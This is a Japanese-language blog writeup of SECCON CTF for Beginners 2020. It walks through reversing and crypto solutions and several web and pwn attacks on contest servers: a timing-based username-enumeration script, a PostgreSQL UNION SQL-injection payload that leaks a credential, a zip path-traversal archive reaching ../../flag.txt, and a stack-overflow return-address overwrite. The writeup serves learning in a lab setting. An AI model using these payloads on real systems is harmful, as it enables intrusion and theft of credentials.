ox0xo infosec tutorial

SECCON CTF4B 2020 writeup

2020-05-24
CTF

2020-05-23に開催されたSECCON CTF for Beginners 2020に参加しました. 766 pointの 130 thでした. 今回もPwnは解けず, Cryptoも数学的要素が入り始めるとお手上げでした. 課題は明白なのでしっかり復習しておきます.

Misc

emoemoencode

Do you know emo-emo-encode?

与えられたファイルを開くと絵文字が羅列されているので, 絵文字のエンコード形式について調べる.

絵文字はUnicode6.0から導入された要素である. 表示される媒体によって微妙に表記が異なるが, おおむね同じ意図の絵文字が表示されるようになっている.

参考URL: https://pc-pier.com/blog/2016/01/29/character-code/

この情報をフラグの形式に変換するにはどうすれば良いか考える. まずはデコードされていない素のUnicodeを眺めてみる.

眺めたら各文字に共通する 1f3 を除外すればASCIIコードになる予感を得たので試す.

Reversing

mask

The price of mask goes down. So does the point (it's easy)!
(SHA-1 hash: c9da034834b7b699a7897d408bcb951252ff8f56)

ELF64ファイルが与えられる. 実行結果より, 正しい文字列を渡せばFLAGが判明すると想定される.

# ./mask seccon{test}
Putting on masks...
qeaaedqteqtu
cacckjk`ac`i
Wrong FLAG. Try again.

Ghidraでデコンパイルしたmain関数の抜粋は以下の通り.

strcpy((char *)local_d8,*(char **)(param_2 + 8));
sVar2 = strlen((char *)local_d8);
iVar1 = (int)sVar2;
puts("Putting on masks...");
local_e0 = 0;
while (local_e0 < iVar1) {
  local_98[(long)local_e0] = local_d8[(long)local_e0] & 0x75;
  local_58[(long)local_e0] = local_d8[(long)local_e0] & 0xeb;
  local_e0 = local_e0 + 1;
}
local_98[(long)iVar1] = 0;
local_58[(long)iVar1] = 0;
puts((char *)local_98);
puts((char *)local_58);
iVar1 = strcmp((char *)local_98,"atd4`qdedtUpetepqeUdaaeUeaqau");
if ((iVar1 == 0) &&
   (iVar1 = strcmp((char *)local_58,"c`b bk`kj`KbababcaKbacaKiacki"), iVar1 == 0)) {
  puts("Correct! Submit your FLAG.");
}

Correctに到達するためにはlocal_98local_58の文字列比較を突破する必要がある. local_98は入力文字列と0x75の論理積で, local_58は入力文字列と0xebの論理積である.

ここで

0x75 = 01110101
0xeb = 11101011

であるからlocal_98local_56は互いに欠落したビットを保持している事が分かる. 以下の様にlocal_98local_56のビットごとの論理和を取るとFLAGが手に入る.

local_98 = b"atd4`qdedtUpetepqeUdaaeUeaqau"
local_56 = b"c`b bk`kj`KbababcaKbacaKiacki"
r = ""
for i in range(len(local_98)):
    r += chr(local_98[i] | local_56[i])
print(r)

yakisoba

Would you like to have a yakisoba code?
(Hint: You'd better automate your analysis)

Ghidraでデコンパイルした結果の抜粋は以下の通り.

  __printf_chk(1,"FLAG: ");
  iVar1 = __isoc99_scanf(&DAT_001010fb,abStack72);
  if (iVar1 != 0) {
    uVar2 = FUN_00100820(abStack72);
    uVar3 = uVar2 & 0xffffffff;
    if ((int)uVar2 == 0) {
      puts("Correct!");
    }
    else {
      uVar3 = 0;
      puts("Wrong!");
    }
  }

FUN_00100820の戻り値が0になるような文字列を渡せば良い事が分かる. FUN_00100820の内部をreturn 0;で検索すると下記の通り, 文字列[0x1a]が0の時に0を返すことが分かる.

undefined8 FUN_00100820(byte *param_1)
{
  byte bVar1;
  undefined8 uVar2;
...省略...
    bVar1 = param_1[0x1a];
    if (bVar1 == 0x78) {
      return 0x75;
    }
    if (bVar1 < 0x79) {
      if (bVar1 == 0) {
        return 0;
      }
...省略...
}

同様の読み方でabStack72の各要素を辿っていくと次の配列が手に入る. 先頭だけは10進数表記なので0x63に読み替える.

63 74 66 34 62 7b 73 70 34 67 68 33 74 74 31 5f 72 31 70 70 33 72 31 6e 30 7d 0

Web

Spy

As a spy, you are spying on the "ctf4b company".
You got the name-list of employees and the URL to the in-house web tool used by some of them.
Your task is to enumerate the employees who use this tool in order to make it available for social engineering.
app.py
employees.txt

サーバプログラムとユーザーリストが与えられる. このリストの中からサーバに登録されているユーザーを特定するとフラグが入手できる.

サーバプログラムからログイン部分を確認すると, ユーザーの存在有無を確認してからパスワードを確認している事が分かる. パスワードの確認にはハッシュ計算が使われており, ユーザーが存在する場合はその分レスポンスに時間が掛かると予想される.

name = request.form["name"]
password = request.form["password"]
exists, account = db.get_account(name)
if not exists:
    return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))
# auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
# You know, it's really secure... isn't it? :-)
hashed_password = auth.calc_password_hash(app.SALT, password)
if hashed_password != account.password:
    return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

以上の結果より, レスポンスに0.1秒以上を要するユーザーをanswerに渡してflagを入手するスクリプトを書いた.

import requests
import re

url = "https://spy.quals.beginners.seccon.jp/"
employees = "/root/seccon2020/employees.txt"
password = "a" * 100

with open(employees, "r") as f:
    employees = f.read().split("\n")

members = []
for employee in employees:
    r = requests.post(url, data={"name": employee, "password": password})
    m = re.search(r"It took (.+) sec to load this page.", r.text)
    if float(m.groups()[0]) > 0.1:
        members.append(employee)

r = requests.post(url + "challenge", data={"answer": members})
m = re.search(r"ctf4b{.+}", r.text)
print(m.group())

Tweetstore

Search your flag!
Server: https://tweetstore.quals.beginners.seccon.jp/
File: https://score.beginners.seccon.jp/files/tweetstore.zip-ba4fce11c55ef57568fbca33f73c5ce022cad1c2

サーバプログラムが与えらえる. 次の2箇所を読むとSQLiでdbuserをリークさせる問題と推察される.

dbname := "ctf"
dbuser := os.Getenv("FLAG")
dbpass := "password"

connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname)
db, err = sql.Open("postgres", connInfo)
var sql = "select url, text, tweeted_at from tweets"

search, ok := r.URL.Query()["search"]
if ok {
	sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
}

現在のユーザー名を参照するシステム関数はuserなので, search[0]に次の文字列を与えるとフラグが手に入る.

' or 1 = 1 UNION select url, user, tweeted_at from tweets--

参考: https://www.postgresql.jp/document/7.3/user/functions-misc.html

unzip

Unzip Your .zip Archive Like a Pro.
https://unzip.quals.beginners.seccon.jp/
Hint:
index.php (sha1: 968357c7a82367eb1ad6c3a4e9a52a30eada2a7d)
Hint
(updated at 5/23 17:30) docker-compose.ym

dockerfileによると./flag.txtを表示させることが目標となる.

- ./public:/var/www/web
- ./uploads:/uploads
- ./flag.txt:/flag.txt

アップロードしたファイルはfile_get_contentsで読み込まれるので, readfile関数を仕込んだphpファイルで解くことは出来ない. filenameに../../flag.txtを渡せば良さそうだが, その前にセッション変数files../../flag.txtを格納しなくてはならない.

// return file if filename parameter is passed
if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) {
    if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) {
        $filepath = $user_dir . "/" . $_GET["filename"];
        header("Content-Type: text/plain");
        echo file_get_contents($filepath);

セッション変数filesにはzipファイルに含まれるファイル名がそのまま渡されている. ../../flag.txtというファイルを作ることは出来ないのでzipファイルの作り方を工夫する必要がある.

// add files to $_SESSION["files"]
for ($i = 0; $i < $zip->numFiles; $i++) {
    $s = $zip->statIndex($i);
    if (!in_array($s["name"], $_SESSION["files"], TRUE)) {
        $_SESSION["files"][] = $s["name"];
    }
}

zipがディレクトリ構造を保存することを利用して相対パスで圧縮すれば良い.

root@ubuntu:~/seccon2020# zip ctf.zip ../../flag.txt
  adding: ../../flag.txt (stored 0%)
root@ubuntu:~/seccon2020# zipinfo ctf.zip
Archive:  ctf.zip
Zip file size: 178 bytes, number of entries: 1
-rw-r--r--  3.0 unx        0 bx stor 20-May-24 02:55 ../../flag.txt
1 file, 0 bytes uncompressed, 0 bytes compressed:  0.0%

../../flag.txtを参照すればフラグが入手できる.

Crypto

R&B

Do you like rhythm and blues?
r_and_b.zip

暗号化されたフラグと暗号化スクリプトが渡される. 暗号化のキーになるFORMAT文字列に基づきrot13かbase64を繰り返している事が分かる.

for t in FORMAT:
    if t == "R":
        FLAG = "R" + rot13(FLAG)
    if t == "B":
        FLAG = "B" + base64(FLAG)

print(FLAG)

1文字目のキーに基づいて復号するスクリプトを書きフラグを入手した.

import base64
import codecs

flag = ""
with open("encoded_flag", "r") as f:
    flag = f.read()
while True:
    if flag[0] == "B":
        flag = base64.b64decode(flag[1:]).decode()
    elif flag[0] == "R":
        flag = codecs.decode(flag[1:], "rot13")
    else:
        break
print(flag)

解けなかった問題

readme

nc readme.quals.beginners.seccon.jp 9712

pythonで書かれたサーバプログラムが渡されるので読む. クライアントから入力された文字列をパスとして解釈させて/home/ctf/flagを読み込めばフラグが入手できる.

#!/usr/bin/env python3
import os

assert os.path.isfile('/home/ctf/flag') # readme

if __name__ == '__main__':
    path = input("File: ")
    if not os.path.exists(path):
        exit("[-] File not found")
    if not os.path.isfile(path):
        exit("[-] Not a file")
    if '/' != path[0]:
        exit("[-] Use absolute path")
    if 'ctf' in path:
        exit("[-] Path not allowed")
    try:
        print(open(path, 'r').read())
    except:
        exit("[-] Permission denied")

単純に /home/ctf/flag を渡すと if 'ctf' in path に引っかかるのでエスケープする方法を考える.

条件は

/ から始まること
ctf を含まないこと
ファイルのパスとして有効であること

この先に進めず駄目.

ghost

A program written by a ghost 👻

.gsファイルと出力結果が与えられる. gsって何?状態だったのでしばらくggってみたが見通しが立たず駄目.

profiler

Let's edit your profile with profiler!
Hint: You don't need to deobfuscate *.js

ユーザー登録するとtokenが発行されるのでメモしておく.

kazsocinfo

9ff66643bdd9cba37cc2477be253820a0ec9d9a3e8adacfc9484612925317649

tokenを入力すればprofileを変更できる.

但しflagを獲得できるのはadminユーザーに限られている.

以上の挙動から, adminユーザーのtokenを予想してflagを奪取する問題だと想定できる. cookieも参考になりそうだったが先に進めず.

Token

  • kiritan4 : c776cfa4dc384fc59a9a270be8f924eb061a08c156619cb47486c0bd7e863b6c
  • kiritan5 : f3e2db0900d115bcc7ab0ffea5e6faf66a4e8522fda264f13271986242f28d53

cookie

  • kiritan4 : eyJ1aWQiOiJraXJpdGFuNCJ9.Xsl0RA.PyWEZ49YnI8YUiBzmkcfLFswc1s
  • kiritan5 : eyJ1aWQiOiJraXJpdGFuNSJ9.Xsl0kQ.TGDlocSIh982wb7p0f9ke4YyJXY

Noisy equations

noise hides flag.
nc noisy-equations.quals.beginners.seccon.jp 3000
noisy-equations.zip

サーバプログラムが与えられる.

from os import getenv
from time import time
from random import getrandbits, seed


FLAG = getenv("FLAG").encode()
SEED = getenv("SEED").encode()

L = 256
N = len(FLAG)


def dot(A, B):
    assert len(A) == len(B)
    return sum([a * b for a, b in zip(A, B)])

coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)]

seed(SEED)

answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs]

print(coeffs)
print(answers)

coeff, FLAG, getrandbits(L), answers を算数すれば解けそうだったが, 具体的な手法が思い浮かばず駄目.

Beginner’s Stack

Let's learn how to abuse stack overflow!
nc bs.quals.beginners.seccon.jp 9001

サーバプログラムが渡される. win関数(0x400861)を呼び出せばフラグが入手できる.

Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffc9e5c0aa0 | 0x00007f85435049a0 | <-- buf
                   +--------------------+
0x00007ffc9e5c0aa8 | 0x0000000000000000 |
                   +--------------------+
0x00007ffc9e5c0ab0 | 0x0000000000000000 |
                   +--------------------+
0x00007ffc9e5c0ab8 | 0x00007f854371d170 |
                   +--------------------+
0x00007ffc9e5c0ac0 | 0x00007ffc9e5c0ad0 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffc9e5c0ac8 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffc9e5c0ad0 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007ffc9e5c0ad8 | 0x00007f8543124b97 | <-- return address (main)
                   +--------------------+
0x00007ffc9e5c0ae0 | 0x0000000000000001 |
                   +--------------------+
0x00007ffc9e5c0ae8 | 0x00007ffc9e5c0bb8 |
                   +--------------------+

サーバプログラムをダンプして脆弱なvuln関数の内部を確認する. read(0, rbp-0x20, 0x200)なので, rbp-0x20の位置から0x200まで書き込める様になっている.

参考: https://docs.microsoft.com/ja-jp/cpp/c-runtime-library/reference/read?view=vs-2019

return addressはrbp-0x20-0x08にあるので, 0x28のパディングに加えて0x400861を書き込めばwinに飛ぶことは出来る. しかしRSPのアライメントがズレてsystemが呼べずに積んでしまった. 直接0x400861に飛ばずにpushの回数を増減させて試行錯誤したが解けず.

00000000004007f1 <main>:
  4007f1:       55                      push   rbp
  4007f2:       48 89 e5                mov    rbp,rsp
  4007f5:       48 8b 05 94 18 20 00    mov    rax,QWORD PTR [rip+0x201894]        # 602090 <stdin@@GLIBC_2.2.5>
  4007fc:       be 00 00 00 00          mov    esi,0x0
  400801:       48 89 c7                mov    rdi,rax
  400804:       e8 57 fe ff ff          call   400660 <setbuf@plt>
  400809:       48 8b 05 70 18 20 00    mov    rax,QWORD PTR [rip+0x201870]        # 602080 <stdout@@GLIBC_2.2.5>
  400810:       be 00 00 00 00          mov    esi,0x0
  400815:       48 89 c7                mov    rdi,rax
  400818:       e8 43 fe ff ff          call   400660 <setbuf@plt>
  40081d:       48 8b 05 7c 18 20 00    mov    rax,QWORD PTR [rip+0x20187c]        # 6020a0 <stderr@@GLIBC_2.2.5>
  400824:       be 00 00 00 00          mov    esi,0x0
  400829:       48 89 c7                mov    rdi,rax
  40082c:       e8 2f fe ff ff          call   400660 <setbuf@plt>
  400831:       48 8d 35 29 00 00 00    lea    rsi,[rip+0x29]        # 400861 <win>
  400838:       48 8d 3d 21 03 00 00    lea    rdi,[rip+0x321]        # 400b60 <_IO_stdin_used+0x10>
  40083f:       b8 00 00 00 00          mov    eax,0x0
  400844:       e8 37 fe ff ff          call   400680 <printf@plt>
  400849:       e8 59 ff ff ff          call   4007a7 <vuln>
  40084e:       48 8d 3d 40 03 00 00    lea    rdi,[rip+0x340]        # 400b95 <_IO_stdin_used+0x45>
  400855:       e8 f6 fd ff ff          call   400650 <puts@plt>
  40085a:       b8 00 00 00 00          mov    eax,0x0
  40085f:       5d                      pop    rbp
  400860:       c3                      ret
  00000000004007a7 <vuln>:
  4007a7:       55                      push   rbp
  4007a8:       48 89 e5                mov    rbp,rsp
  4007ab:       48 83 ec 20             sub    rsp,0x20
  4007af:       48 8d 45 e0             lea    rax,[rbp-0x20]
  4007b3:       48 89 c7                mov    rdi,rax
  4007b6:       e8 1f 01 00 00          call   4008da <__show_stack>
  4007bb:       48 8d 3d 96 03 00 00    lea    rdi,[rip+0x396]        # 400b58 <_IO_stdin_used+0x8>
  4007c2:       b8 00 00 00 00          mov    eax,0x0
  4007c7:       e8 b4 fe ff ff          call   400680 <printf@plt>
  4007cc:       48 8d 45 e0             lea    rax,[rbp-0x20]
  4007d0:       ba 00 02 00 00          mov    edx,0x200
  4007d5:       48 89 c6                mov    rsi,rax
  4007d8:       bf 00 00 00 00          mov    edi,0x0
  4007dd:       e8 ae fe ff ff          call   400690 <read@plt>
  4007e2:       48 8d 45 e0             lea    rax,[rbp-0x20]
  4007e6:       48 89 c7                mov    rdi,rax
  4007e9:       e8 ec 00 00 00          call   4008da <__show_stack>
  4007ee:       90                      nop
  4007ef:       c9                      leave  
  4007f0:       c3                      ret
0000000000400861 <win>:
  400861:       55                      push   rbp
  400862:       48 89 e5                mov    rbp,rsp
  400865:       48 83 ec 10             sub    rsp,0x10
  400869:       48 89 e0                mov    rax,rsp
  40086c:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  400870:       48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
  400874:       83 e0 0f                and    eax,0xf
  400877:       48 85 c0                test   rax,rax
  40087a:       74 3c                   je     4008b8 <win+0x57>
  40087c:       48 8d 3d 17 03 00 00    lea    rdi,[rip+0x317]        # 400b9a <_IO_stdin_used+0x4a>
  400883:       e8 c8 fd ff ff          call   400650 <puts@plt>
  400888:       48 8d 3d 29 03 00 00    lea    rdi,[rip+0x329]        # 400bb8 <_IO_stdin_used+0x68>
  40088f:       e8 bc fd ff ff          call   400650 <puts@plt>
  400894:       48 8d 3d 75 03 00 00    lea    rdi,[rip+0x375]        # 400c10 <_IO_stdin_used+0xc0>
  40089b:       e8 b0 fd ff ff          call   400650 <puts@plt>
  4008a0:       48 8d 3d a9 03 00 00    lea    rdi,[rip+0x3a9]        # 400c50 <_IO_stdin_used+0x100>
  4008a7:       e8 a4 fd ff ff          call   400650 <puts@plt>
  4008ac:       bf 01 00 00 00          mov    edi,0x1
  4008b1:       e8 fa fd ff ff          call   4006b0 <sleep@plt>
  4008b6:       eb 18                   jmp    4008d0 <win+0x6f>
  4008b8:       48 8d 3d bf 03 00 00    lea    rdi,[rip+0x3bf]        # 400c7e <_IO_stdin_used+0x12e>
  4008bf:       e8 8c fd ff ff          call   400650 <puts@plt>
  4008c4:       48 8d 3d c4 03 00 00    lea    rdi,[rip+0x3c4]        # 400c8f <_IO_stdin_used+0x13f>
  4008cb:       e8 a0 fd ff ff          call   400670 <system@plt>
  4008d0:       bf 00 00 00 00          mov    edi,0x0
  4008d5:       e8 c6 fd ff ff          call   4006a0 <exit@plt>

その他の所感

問題サーバのステータスをGrafanaで可視化したダッシュボードが公開されていました. 面白い試みだと思います.

https://status.noc.beginners.seccon.jp

当方の環境の問題でtweetstoreにアクセスできないタイミングでここを見てしまい, サーバ死んでると誤解して運営に凸してしまったのが今回のハイライトです. ごめんなさい.


Similar Posts

Content